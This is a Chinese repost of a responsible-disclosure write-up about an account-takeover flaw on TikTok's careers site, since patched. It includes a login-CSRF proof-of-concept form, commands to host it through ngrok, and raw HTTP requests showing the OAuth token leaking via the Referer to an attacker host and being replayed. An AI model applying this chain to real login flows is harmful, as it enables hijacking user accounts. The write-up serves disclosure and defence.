TikTok招聘网站的账号接管漏洞
2020-12-21 11:13:08 Author: xz.aliyun.com(查看原文) 阅读量:251 收藏

该网站(careers.tiktok.com)漏洞报告于2020年10月17日通过Hackerone提交至TikTok，TikTok在12天内修复了该漏洞

一 前言

该网站为TikTok的招聘网站,该网站使用Facebook和Linkedin实现单点登录。由于存在CSRF漏洞以及开放的重定向漏洞,恶意攻击者可能会接管该网站用户的账户。
该漏洞仅限于TikTok的招聘网站，不会影响TikTok 的其他网站或移动应用程序

二 CSRF漏洞

为了实现账户接管,受害者使用自己Facebook账号在careers.tiktok.com上进行身份验证，同意与TikToK共享数据。此外受害者要在Facebook上有一个活跃的会话。
TikTok没有有效防范在登录点和Facebook交互中可能存在的CSRF问题。因此，恶意攻击者使用一个微不足道的CSRF攻击，就可以接管受害者账户：

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://careers.tiktok.com/api/v1/user/facebook/login">
      <input type="hidden" name="next_url" value="https://redacted.tiktok.com/" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

如果我们忽略以下步骤，那么在常规登录流程结束后，受害者将被认证到他们自己的帐户中。

三 身份验证

如果Referer头存在于https://careers.tiktok.com/api/v1/user/facebook/login 的请求中，则高度敏感的令牌会泄漏给潜在的攻击者控制的网站。
使用此令牌，攻击者就可以替代受害者进行身份验证。因为对于TikTok，无法验证该令牌的发起者是攻击者还是受害者。

四 利用步骤

就像Barth等人在2008年引入的web攻击者模型一样(https://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf ),我们设法让受害者访问攻击者控制的网站。此外，
如前所述，我们需要受害者将其Facebook帐户链接到TikTok的职业门户网站。

(0) 保存上述登录CSRF PoC并启动一个简单的web服务器：
$ python -m http.server 1234

(1) 通过ngrok反向代理以及安全传输层协议(TLS)获取一个具有有效证书的公共(子)域。方便进一步的漏洞利用
$ ngrok http 1234

(2) 受害者浏览https://abcdefghij.ngrok.io 上的POC(攻击者控制)来实施攻击，手动点击该POC(这也可以使用JavaScript来实现，以便对受害者隐藏请求)

(3) 没有其他的和受害者的交互,便会在careers.tiktok.com 发起一个登录的请求,在这一步中重要的是Referer头

GET /api/v1/user/facebook/login?next_url=https://careers.tiktok.com/ HTTP/1.1
Host: careers.tiktok.com
[...]
Referer: https://abcdefghij.ngrok.io
Cookie: [REDACTED]

(4) 没有进一步的和受害者的互动，受害者被重定向到Facebook

HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 283
Location: https://www.facebook.com/v3.2/dialog/oauth?client_id=792134571243895&redirect_uri=https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback&response_type=code&state=[REDACTED]
[...]

(5) 由于受害者在Facebook上有一个活动会话，并且该帐户已经链接到careers.tiktok.com，Facebook将在不需要和受害者交互的情况下重新定向到 https://abcdefghij.ngrok.io

HTTP/1.1 302 Found
[...]
Location: https://abcdefghij.ngrok.io/api/v1/open/portal/oauth/facebook/callback?code=[REDACTED]&state=[REDACTED]D#_=_

(6) 在 https://abcdefghij.ngrok.io 将会接收到/api/v1/user/facebook/callback 的记录
重点：之所以这样做是因为该网站使用/api/v1/user/facebook/login请求中的Referer作为跳转的主机。由于此请求由攻击者控制，攻击者可以获得受害者的令牌参数

GET /api/v1/user/facebook/callback?next_url=https://careers.tiktok.com/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: abcdefghij.ngrok.io
[...]

此时，具有发起CSRF攻击能力的攻击者将获得绑定到受害者Facebook帐户的令牌。

以下步骤是从攻击者的角度在新的浏览器会话中执行的:

(7) 攻击者在https://careers.tiktok.com/login 中单击Facebook按钮。

(8) 攻击者执行所有步骤并转发所有请求，直到最终请求（包括他的令牌）将被发送到 https://careers.tiktok.com/api/v1/user/facebook/callback 在此请求中，攻击者将其令牌
与先前获得的绑定到受害者帐户的令牌进行交换

GET /api/v1/user/facebook/callback?next_url=https://[redacted_domain_1]/&platform=pc&token=[CANDIDATE-TOKEN]&website-path=tiktok HTTP/1.1
Host: careers.tiktok.com
[...]

(9) 攻击者登录了受害者账号

通用流程如下所示：

五 影响

恶意参与者可以使用跨站点请求伪造来接管受害者在careers.tiktok.com的帐户。

六 建议

在初次报告期间提出了以下建议：
对要进行身份验证的端点实施CSRF保护，以减少登录中的CSRF漏洞（将用户验证到其帐户中）。
不要向第三方泄露敏感的身份验证相关参数，如令牌。如果Referer用于确定令牌的目标，则必须使用适当的白名单验证其值！

七 负责任的披露

2020年10月17日：
[LH]通过Hackerone提供初始报告：https://hackerone.com/reports/1010522
2020年10月18日：[TikTok]对报告的CVSS评分较高（7.5）。
2020年10月28日：[TikTok]悬赏。
2020年10月29日：[TikTok]报告已解决。
2020年10月29日：[LH]修复成功重新测试。
负责任的披露过程堪称典范，为TikTok的应用程序安全团队致敬！

原文地址: https://security.lauritz-holtmann.de/advisories/tiktok-account-takeover/


文章来源: http://xz.aliyun.com/t/8677
如有侵权请联系:admin#unsafe.sh